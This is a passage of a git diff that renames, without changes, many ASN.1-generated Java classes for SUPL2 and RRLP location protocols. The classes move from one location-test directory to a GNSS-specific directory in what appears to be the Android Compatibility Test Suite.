rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA0.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA1.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA1.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA2.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA2.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMReservedBits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMReservedBits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMWord.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMWord.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeRelation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeRelation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlot.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlot.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlotScheme.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlotScheme.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet2.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet2.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet3.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet3.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet4.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet4.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UlPseudoSegInd.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UlPseudoSegInd.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UncompressedEphemeris.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UncompressedEphemeris.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UseMultipleSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UseMultipleSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/PDU.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/PDU.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/RRLP_Component.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/RRLP_Component.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_end/SUPLEND.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_end/SUPLEND.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/EncodingType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/EncodingType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/FormatIndicator.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/FormatIndicator.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/KeyIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/KeyIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/MAC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/MAC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/Notification.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/Notification.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/NotificationType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/NotificationType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SLPMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SLPMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SUPLINIT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SUPLINIT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/NotificationResponse.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/NotificationResponse.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/Ver2_SUPLNOTIFYRESPONSE.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/PosPayLoad.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/PosPayLoad.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/PosPayLoad.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/SUPLPOS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos/SUPLPOS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos/SUPLPOS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/NavigationModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/NavigationModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/NavigationModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/RequestedAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/RequestedAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/RequestedAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SUPLPOSINIT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_pos_init/SatelliteInfoElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSSignalsDescription.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSSignalsDescription.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSSignalsDescription.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSsignalsInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/GANSSsignalsInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/GANSSsignalsInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/PositionData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/PositionData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/PositionData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportDataList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ReportDataList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ReportDataList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ResultCode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/ResultCode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/ResultCode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/SessionList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/SessionList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/TimeStamp.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/TimeStamp.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/TimeStamp.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_report/Ver2_SUPLREPORT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/KeyIdentity4.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/KeyIdentity4.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/KeyIdentity4.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SETAuthKey.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SETAuthKey.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SETAuthKey.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SUPLRESPONSE.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_response/SUPLRESPONSE.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_response/SUPLRESPONSE.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_set_init/Ver2_SUPLSETINIT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosProtocol.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosProtocol.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosTechnology.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PosTechnology.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PrefMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PrefMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/PrefMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SETCapabilities.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SETCapabilities.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SETCapabilities.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SUPLSTART.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/SUPLSTART.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_start/SUPLSTART.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepConditions.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepConditions.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepConditions.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/BatchRepType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/BatchRepType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/RepMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/RepMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/ReportingMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/ReportingMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventParams.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventParams.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventParams.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaEventType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaEventType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSetType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/AreaIdSetType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/CDMAAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/CDMAAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GSMAreaId.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GSMAreaId.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
